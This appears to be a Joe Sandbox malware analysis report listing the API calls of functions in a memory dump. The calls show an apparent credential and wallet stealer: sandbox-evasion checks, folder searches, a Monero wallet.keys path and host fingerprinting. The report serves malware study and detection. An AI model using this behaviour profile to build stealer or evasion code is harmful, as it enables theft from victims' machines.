Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: f55d98abf8eeaafb20da6f3077d5ce6b78945f5d6c0d3c5c41d3228aef7178eb
Instruction ID: 9b245ccb6292874b4c1d2bf0bfc5a1095884f153f883fefd20b6d392985d71df
Opcode Fuzzy Hash: f55d98abf8eeaafb20da6f3077d5ce6b78945f5d6c0d3c5c41d3228aef7178eb
Instruction Fuzzy Hash: 72110030910148ABCB14FF74DE52EED7778AF60340F804559F81B5A692EF70AB09D791

Function 00AC1220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00AC123E
ExitProcess.KERNEL32 ref: 00AC1294

Strings

@, xrefs: 00AC1233

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: eda7f3998a339e904ba0c15d4f4e73a75f349f508febae74b5c6e142a9861db4
Instruction ID: fbd40205b33dd96254e674b9d3137816fe199d662abc9d7656823c352f407029
Opcode Fuzzy Hash: eda7f3998a339e904ba0c15d4f4e73a75f349f508febae74b5c6e142a9861db4
Instruction Fuzzy Hash: FB016DB4E40308FEEB10EBE4CC49FEEBBB8AB05701F208059E705B62C1D77455418B99

Function 00AD4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00AD8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00AD8E0B

lstrcat.KERNEL32(?,00000000), ref: 00AD4F7A
lstrcat.KERNEL32(?,00AE1070), ref: 00AD4F97
lstrcat.KERNEL32(?,01788830), ref: 00AD4FAB
lstrcat.KERNEL32(?,00AE1074), ref: 00AD4FBD

Part of subcall function 00AD4910: wsprintfA.USER32 ref: 00AD492C
Part of subcall function 00AD4910: FindFirstFileA.KERNEL32(?,?), ref: 00AD4943

Part of subcall function 00AD4910: StrCmpCA.SHLWAPI(?,00AE0FDC), ref: 00AD4971
Part of subcall function 00AD4910: StrCmpCA.SHLWAPI(?,00AE0FE0), ref: 00AD4987
Part of subcall function 00AD4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00AD4B7D
Part of subcall function 00AD4910: FindClose.KERNEL32(000000FF), ref: 00AD4B92

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 75448574e4959e2fbbc987b5af84e1d4adcb1ecedea70ea5787d848f0e469a45
Instruction ID: d6beca743b549c9fa26738733e3b68c61fc3d24fc0d78efdc18446715ff301c4
Opcode Fuzzy Hash: 75448574e4959e2fbbc987b5af84e1d4adcb1ecedea70ea5787d848f0e469a45
Instruction Fuzzy Hash: 7C21B37A90030867C754FBB4DD46FED337CAB54300F004559B68E93281EE749AC98BA2

Function 00AD0740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01788810), ref: 00AD079A
StrCmpCA.SHLWAPI(00000000,01788970), ref: 00AD0866
StrCmpCA.SHLWAPI(00000000,01788980), ref: 00AD099D

Part of subcall function 00ADA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00ADA7E6

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 2d1039f4911fbb094134e3929f7e16b210f1f34b8712353846763a4707b34078
Instruction ID: d51b6e69d71235614375f55228fb9115de82d0710369cf03f3bfbcc0d98459e7
Opcode Fuzzy Hash: 2d1039f4911fbb094134e3929f7e16b210f1f34b8712353846763a4707b34078
Instruction Fuzzy Hash: 26915575B102489FCB28EF64DA95FED77B5BF94300F508519E80A9F351DB309A06CB92

Function 00AD0765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01788810), ref: 00AD079A
StrCmpCA.SHLWAPI(00000000,01788970), ref: 00AD0866
StrCmpCA.SHLWAPI(00000000,01788980), ref: 00AD099D

Part of subcall function 00ADA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00ADA7E6

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 0d82ad2b9808382ad5e7c11d7abce640d71e77fe8207ae14f4223901a7f4607f
Instruction ID: 85af964bb6d3366b18f5dd42cb0ed0113515058b19ca5e897f77ca043a326ea0
Opcode Fuzzy Hash: 0d82ad2b9808382ad5e7c11d7abce640d71e77fe8207ae14f4223901a7f4607f
Instruction Fuzzy Hash: 0E812475B102489FCB18EF64DA95FEDB7B5FF94300F508519E80A9B351DB30AA06CB92

Function 00AD9470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00AD9484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00AD94A5
CloseHandle.KERNEL32(00000000), ref: 00AD94AF

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 28b3a2288123e3fea057cddac76c0df72fdacc898c8749735ba52ece8efe84cb
Instruction ID: b8fb7ea4316c520b2e581691f32a0ad72a76cbb0934f902ca8b5a8a571e216bd
Opcode Fuzzy Hash: 28b3a2288123e3fea057cddac76c0df72fdacc898c8749735ba52ece8efe84cb
Instruction Fuzzy Hash: 20F05E7490030CFBDB04DFA4DC4AFEE7778EB08300F008498BA0997290D6B0AE85CB91

Function 00AC1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00AC112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00AC1132
ExitProcess.KERNEL32 ref: 00AC1143

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 8597f5b8332c13c0ed9c0d76dfe2ff6ac1b56346e50e7690a15d3f43d990a2c6
Instruction ID: 37516d702fc66dcd2dc53c93a7fe0c41254ed851cfd8b84026ad5c660abc9fb8
Opcode Fuzzy Hash: 8597f5b8332c13c0ed9c0d76dfe2ff6ac1b56346e50e7690a15d3f43d990a2c6
Instruction Fuzzy Hash: 58E0E670A45308FBE7106BA59D0AF497778AB05B01F104158F70DB62D1D6B5664096A9

Function 00AD1A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

Part of subcall function 00AD7500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00AD7542
Part of subcall function 00AD7500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00AD757F
Part of subcall function 00AD7500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00AD7603
Part of subcall function 00AD7500: RtlAllocateHeap.NTDLL(00000000), ref: 00AD760A

Part of subcall function 00ADA920: lstrcpy.KERNEL32(00000000,?), ref: 00ADA972
Part of subcall function 00ADA920: lstrcat.KERNEL32(00000000), ref: 00ADA982

Part of subcall function 00AD7690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00AD76A4
Part of subcall function 00AD7690: RtlAllocateHeap.NTDLL(00000000), ref: 00AD76AB

Part of subcall function 00AD77C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,00ADDBC0,000000FF,?,00AD1C99,00000000,?,0178D378,00000000,?), ref: 00AD77F2
Part of subcall function 00AD77C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,00ADDBC0,000000FF,?,00AD1C99,00000000,?,0178D378,00000000,?), ref: 00AD77F9

Part of subcall function 00AD7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00AC11B7), ref: 00AD7880
Part of subcall function 00AD7850: RtlAllocateHeap.NTDLL(00000000), ref: 00AD7887
Part of subcall function 00AD7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00AD789F

Part of subcall function 00AD78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00AD7910
Part of subcall function 00AD78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00AD7917
Part of subcall function 00AD78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00AD792F

Part of subcall function 00AD7980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00AE0E00,00000000,?), ref: 00AD79B0
Part of subcall function 00AD7980: RtlAllocateHeap.NTDLL(00000000), ref: 00AD79B7
Part of subcall function 00AD7980: GetLocalTime.KERNEL32(?,?,?,?,?,00AE0E00,00000000,?), ref: 00AD79C4
Part of subcall function 00AD7980: wsprintfA.USER32 ref: 00AD79F3

Part of subcall function 00AD7A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0178D910,00000000,?,00AE0E10,00000000,?,00000000,00000000), ref: 00AD7A63
Part of subcall function 00AD7A30: RtlAllocateHeap.NTDLL(00000000), ref: 00AD7A6A
Part of subcall function 00AD7A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0178D910,00000000,?,00AE0E10,00000000,?,00000000,00000000,?), ref: 00AD7A7D

Part of subcall function 00AD7B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,0178D910,00000000,?,00AE0E10,00000000,?,00000000,00000000), ref: 00AD7B35

Part of subcall function 00AD7B90: GetKeyboardLayoutList.USER32(00000000,00000000,00AE05AF), ref: 00AD7BE1
Part of subcall function 00AD7B90: LocalAlloc.KERNEL32(00000040,?), ref: 00AD7BF9
Part of subcall function 00AD7B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00AD7C0D
Part of subcall function 00AD7B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00AD7C62
Part of subcall function 00AD7B90: LocalFree.KERNEL32(00000000), ref: 00AD7D22

Part of subcall function 00AD7D80: GetSystemPowerStatus.KERNEL32(?), ref: 00AD7DAD

